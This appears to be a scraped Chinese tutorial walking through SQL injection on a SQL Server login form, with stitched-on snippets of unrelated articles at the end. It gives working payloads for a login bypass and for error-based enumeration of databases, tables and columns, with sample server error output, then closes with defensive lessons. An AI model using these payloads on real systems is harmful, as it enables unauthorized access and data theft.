SQL注入全過程深入分析

2022-09-21 16:09:13 字數 2932 閱讀 3086

初步注入--繞過驗證,直接登入

公司**登陸框如下:

可以看到除了賬號密碼之外,還有乙個公司名的輸入框,根據輸入框的形式不難推出sql的寫法如下:

複製** **如下:

select * from table where name='xx' anwww.cppcns.comd password='yy' and corp='zz'

我發現前兩者都做一些檢查,而第三個輸入框卻疏忽了,漏洞就在這裡!注入開始,在輸入框中輸入以下內容:

使用者名稱亂填,密碼留空,這種情況下點選登入按鈕後竟然成功登入了。

我們看一下最終的sql就會找到原因:

複製** **如下:

select * from table where name='sql inject' and password='' and corp='' or 1=1--'

從**可以看出,前一半單引號被閉合,後一半單引號被 「--」給注釋掉,中間多了乙個永遠成立的條件「1=1」,這就造成任何字元都能成功登入的結果。而sql注入的危害卻不僅僅是匿名登入。

中級注入--借助異常獲取資訊

現在我們在第三個輸入框中寫入:

『or 1=(select @@version) –

如下:後台的sql變成了這樣:

select * from table where name=程式設計客棧'sql inject' and password='' and corp=''

or 1=(select @@version)--'

判斷條件變成了1=(select @@version),

這個寫法肯定會導致錯誤,但出錯正是我們想要的。點選登入後,頁面出現以下資訊:

conversion failed when converting the nvarchar value 'microsoft sql server 2008 (sp3) - 10.0.5500.0 (x64) sep 21 2011 22:45:45

copyright (c) 1988-2008 microsoft corporation developer edition (64-bit)

on windows nt 6.1 (build 7601: service pack 1) ' to data type int.

可怕的事情出現了,伺服器的作業系統和sql server版本資訊竟然通過錯誤顯示出來。

危害擴大--獲取伺服器所有的庫名、表名、欄位名

接著www.cppcns.com,我們在輸入框中輸入如下資訊:

複製** **如下:

t' or 1=(select top 1 name from master..sysdatabases where name not in (select top 0 name from master..sysdatabases))--

此時發現第三個輸入框有字數長度的限制,然而這種客戶端的限制形同虛設,

直接通過google瀏覽器就能去除。

點選登入,返回的資訊如下:

conversion failed when converting the value 'master' to data type int.

資料庫名稱「master」通過異常被顯示出來!依次改變上面sql語句中的序號,

就能得到伺服器上所有資料庫的名稱。

接著,輸入資訊如下:

複製** **如下:

b' or 1=(select top 1 name from master..sysobjects where xtype='u' and name not in (select top 1 name from master..sysobjects where xtype='u'))--

得到返回資訊如下:

conversion failed when converting the nvarchar value 'spt_fallback_db' to data type int.

我們得到了master資料庫中的第一張表名:「spt_fallback_db」,

同上,依次改變序號,可得到該庫全部表名。

現在我們以「spt_fallback_db」表為例,嘗試獲取該表中所有的欄位名。在輸入框中輸入以下**:

複製** **如下:

b' or 1=(select top 1 master..syscolumns.name from master..syscolumns, master..sysobjects where master..syscolumns.id=master..sysobjects.id and master..sysobjects.name='spt_fallback_db');

於是,得到錯誤提示如下:

"conversion failed when converting the nvarchar value 'xserver_name' to data type int.";

這樣第乙個欄位名「xserver_name」就出來了,依次改變序號,就能遍歷出所有的cwclueyq欄位名。

最終目的--獲取資料庫中的資料

寫到這裡,我們已知通過sql注入能獲取全部的資料庫,表,及其字段,為了防止本文完全淪為注入教程,獲取資料的**就不再描述,而這篇文章的目的也已達到,sql注入意味著什麼?意味著資料庫中所有資料都能被盜取。

當知道這個危害以後,是否還能有人對sql注入漏洞置之不理?

結語關於安全性,本文可總結出一下幾點:

1. 對使用者輸入的內容要時刻保持警惕。

2. 只有客戶端的驗證等於沒有驗證。

3. 永遠不要把伺服器錯誤資訊暴露給使用者。

除此之外,我還要補充幾點:

1. sql注入不僅能通過輸入框,還能通過url達到目的。

2. 除了伺服器錯誤頁面,還有其他辦法獲取到資料庫資訊。

3. 可通過軟體模擬注入行為,這種方式盜取資訊的速度要比你想象中快的多。

4. 漏洞跟語言平台無關。

本文標題: sql注入全過程深入分析

本文位址:

安全檢測Oracle注入點全過程

對於oracle注入點的檢測比較特殊,不像其它注入點一樣,需要經過多個步驟檢測確認注入 點所使用的資料庫型別是否為oracle。oracle注入點判斷 首先,需要判斷是否為oracle注入點,可提交如下幾步查詢 and 1 1 and 1 2 返回不一樣的頁面,則說明存在注入 漏洞,繼續在注入 點處...

C 函式呼叫過程深入分析

0.引言 首先對三個常用的暫存器做一下說明,eip是指令指標,即指向下一條即將執行的指令的位址 ebp為基址指標,常用來指向棧底 esp為棧指標,常用來指向棧頂。看下面這個簡單的程式並在vc 6.0中檢視並分析彙編 圖11.函式呼叫 g func函式呼叫的彙編 如圖2 圖2首先是三條push指令,分...

C 函式呼叫過程深入分析

0.引言 首先對三個常用的暫存器做一下說明,eip是指令指標,即指向下一條即將執行的指令的位址 ebp為基址指標,常用來指向棧底 esp為棧指標,常用來指向棧頂。看下面這個簡單的程式並在vc 6.0中檢視並分析彙編 圖11.函式呼叫 g func函式呼叫的彙編 如圖2 圖2首先是三條push指令,分...